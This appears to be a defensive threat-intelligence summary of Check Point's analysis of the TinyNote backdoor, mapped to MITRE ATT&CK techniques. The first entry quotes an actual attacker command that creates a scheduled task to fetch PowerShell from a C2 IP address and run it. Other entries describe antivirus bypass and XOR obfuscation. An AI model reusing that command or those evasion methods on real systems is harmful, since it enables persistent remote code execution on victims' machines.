Malware Spotlight: Camaro Dragon’s TinyNote Backdoor – Check Point Research

MITRE Techniques

• [T1059.001] PowerShell – The malware uses PowerShell-based command execution, including retrieving and executing commands via scheduled tasks from C2: ‘schtasks /Create /TN test /SC MINUTE /MO 15 /TR “powershell “$r=[System.Net.WebRequest]::Create(“http://5.188.33.190/Robots.txt”);(new-object System.IO.StreamReader(($r.GetResponse()).GetResponseStream())).ReadToEnd() | powershell.exe -noprofile -“” /f”‘
• [T1053.005] Scheduled Task/Job: Windows Task Scheduler – The sample creates two tasks to pull and execute PowerShell commands from robots.txt on multiple C2 servers to avoid single points of failure: ‘Next, the malware creates 2 scheduled tasks called test and test2 to retrieve and execute PowerShell commands, each retrieved from robots.txt from different C&C servers, most likely to eliminate a single point of failure’
• [T1027.001] Obfuscated/Compressed Files or Information – The enumeration data is encrypted with a simple XOR and Base64: ‘it encrypts the string using a simple XOR encryption algorithm with the key NASA and Base64 encodes it afterward.’
• [T1082] System Information Discovery – The backdoor enumerates system data (username, home folder, network interfaces) and concatenates it for exfiltration: ‘The malware enumerates the system for the following data and concatenates it to one string: The current system username; The current username home folder; The system’s network interfaces (name, MacAddress, description)’.
• [T1562.001] Impair Defenses – By bypassing SmadAV using a crafted window, the malware demonstrates defense evasion: ‘bypassSMADAV, whose purpose is to bypass the Indonesian antivirus Smadav.’
• [T1036] Masquerading – The use of a folder icon and naming conventions to mislead victims: ‘The samples also contain folder icon in an attempt to deceive victims about their real purpose.’
• [T1071.001] Web Protocols – The backdoor communicates with C2 over HTTP(S), including encoding/decoding command payloads and returning results: ‘The expected result from the server is a JSON with the following structure: {“msg”:”[BASE64-ENCODED COMMAND]”}’ and subsequent POST of results.